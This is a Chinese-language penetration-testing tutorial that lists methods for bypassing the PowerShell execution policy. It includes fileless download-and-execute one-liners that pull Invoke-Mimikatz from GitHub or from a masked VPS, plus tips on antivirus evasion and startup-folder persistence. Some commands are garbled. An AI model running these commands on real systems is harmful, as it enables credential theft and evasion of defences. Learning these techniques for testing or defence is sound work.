繞過PowerShell執行策略方法總結
- 2020 年 6 月 20 日
- 筆記
- powershell
默認情況下,PowerShell配置為阻止Windows系統上執行PowerShell腳本。對於滲透測試人員,系統管理員和開發人員而言,這可能是一個障礙,但並非必須如此。
什麼是PowerShell執行策略?
PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統中運行。默認情況下,它是「Restricted」(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什麼我們有這麼多繞過它的方法。
為什麼我要繞過執行政策?
因為人們希望使用腳本實現自動化操作,powershell為什麼受到管理員、滲透測試人員、黑客的青睞,原因如下:
Windows原生支持
能夠調用Windows API
能夠運行命令而無需寫入磁盤(可直接加載至內存,無文件落地)
能夠避免被反病毒工具檢測
大多數應用程序白名單解決方案已將其標記為「受信任」
一種用於編寫許多開源Pentest工具包的媒介
如何查看執行策略
在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過「Restricted」(限制)execution policy。你可以通過PowerShell命令「executionpolicy「看看當前的配置。如果你第一次看它的設置可能設置為「Restricted」(限制),如下圖所示:
Get-ExecutionPolicy
同樣值得注意的是execution policy可以在系統中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這裡查看微軟的「Set-ExecutionPolicy」 。
Get-ExecutionPolicy -List | Format-Table -AutoSize
我們先將powershell執行策略設置為Restricted(限制),方便進行後續測試繞過PowerShell Execution Policy。
Set-ExecutionPolicy Restricted
繞過PowerShell執行策略
將腳本粘貼到Interactive PowerShell控制台中
複製並粘貼你的PowerShell腳到一個交互式控制台,如下圖所示。但是,請記住,你將受到當前用戶權限限制。這是最基本的例子,當你有一個交互控制台時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁盤。
Write-Host “It’s run!”;
echo腳本並將其通過管道傳遞到PowerShell
簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。
Echo Write-Host “It’s run!” | PowerShell.exe -noprofile –
從文件讀取腳本並通過管道傳輸到PowerShell
使用Windows的”type”命令或PowerShell的”Get-Content”命令來從磁盤讀取你的腳本並輸入到標準的PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁盤。然而,如果你想試圖避免寫到磁盤,你可以從網絡上遠程讀取你的腳本。
例1:Get-Content Powershell命令
Get-Content .\demo.ps1 | PowerShell.exe -noprofile –
例2:Type 命令
type .\demo.ps1 | PowerShell.exe -noprofile –
從遠程下載腳本並通過IEX執行
這種技術可以用來從網上下載一個PowerShell腳本並執行它無需寫入磁盤。它也不會導致任何配置更改。
powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘//raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’)”
如無法使用github下載可換vps:
powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘//182.xxx.xxx.156:10001/demo.ps1’)”
使用使用command命令
這種技術和通過複製和粘貼來執行一個腳本是非常相似的,但它可以做沒有交互式控制台。這是很好的方式適合執行簡單的腳本,但更複雜的腳本通常容易出現錯誤。這種技術不會導致配置更改或要求寫入磁盤。
例1:完整的命令
Powershell -command “Write-Host “Its run!””;
示例2:簡短命令(-c)
Powershell -c “Write-Host “It』s run!'”
可能還值得注意的是,您可以將這些類型的PowerShell命令放入批處理文件中,並將它們放入自動運行的位置(如所有用戶的啟動文件夾),以在權限提升期間提供幫助。
使用EncodeCommand命令
這和使用”Command”命令非常像,但它為所有的腳本提供了一個Unicode / Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過”Command”執行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁盤。
例1: 完整的命令
$command = “Write-Host ‘Its run!'”
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$encodedCommand
powershell.exe -EncodedCommand $encodedCommand
示例2:通過簡短的命令使用編碼字符串
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuA
使用Invoke-Command命令
這是一個典型的通過交互式PowerShell控制台執行的方法。但最主要的是當PowerShell遠程處理開啟時我們可以用它來對遠程系統執行命令。這種技術不會導致配置更改或要求寫入磁盤。
Invoke-command -scriptblock {Write-Host “Its run!”}
下面的命令還可以用來抓取從遠程計算機的execution policy並將其應用到本地計算機。
Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force
這種方式經測試不可行。
域環境下:
工作組下:
使用Invoke-Expression命令
這是另一個典型的通過交互式PowerShell控制台執行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。
例1:使用Get-Content的完整命令
Get-Content .\demo.ps1 | Invoke-Expression
示例2:使用Get-Content的簡短命令
GC .\demo.ps1 | iex
使用「Bypass」繞過Execution Policy
當你通過腳本文件執行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候”沒有任何東西被阻止,沒有任何警告或提示”。這種技術不會導致配置更改或要求寫入磁盤。
PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1
使用「Unrestricted」標記Execution Policy
這類似於”Bypass”標記。當你使用這個標記的時候,它會”加載所有的配置文件並運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要權限”,這種技術不會導致配置的更改或要求寫入磁盤。
PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1
使用「Remote-Signed」標記Execution Policy
要想繞過執行限制,需要按照如下教程操作對腳本進行數字簽名。
詳細參考://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
直接使用Remote-signed標記腳本無法運行的
PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1
通過交換AuthorizationManager禁用ExecutionPolicy
下面的函數可以通過一個交互式的PowerShell來執行。一旦函數被調用”AuthorizationManager”就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用於會話的持續時間。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield(“_context”,”nonpublic,instance”).getvalue( $executioncontext)).gettype().getfield(“_authorizationManager”,”nonpublic,instance”).setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager “Microsoft.PowerShell”))}
Disable-ExecutionPolicy
.\demo.ps1
把ExcutionPolicy設置成Process Scope
執行策略可以應用於多層次的。這包括你控制的過程。使用這種技術,執行策略可以被設置為您的會話的持續時間不受限制。此外,它不會導致配置更改或需要寫入到磁盤。
Set-ExecutionPolicy Bypass -Scope Process
通過命令設置ExcutionPolicy為CurrentUser Scope
這種方法和上面那種類似。但是這種方法通過修改註冊表將當前用戶環境的設置應用到當前用戶的環境中。此外,它不會導致在配置更改或需要寫入到磁盤。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
通過註冊表設置ExcutionPolicy為CurrentUser Scope
在這個例子中,展示了如何通過修改註冊表項來改變當前用戶的環境的執行策略。
HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
總結總結
使用的execution policy不一定是開發商,管理員,或者。微軟從來沒有打算將它成為一個安全控制。這就是為什麼有這麼多選擇繞過它。微軟很好地提供了一些本地選項和安全社區也拿出一些真正有趣的東西。
————————————————
版權聲明:本文為CSDN博主「Micr067」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接://blog.csdn.net/weixin_41082546/article/details/106878654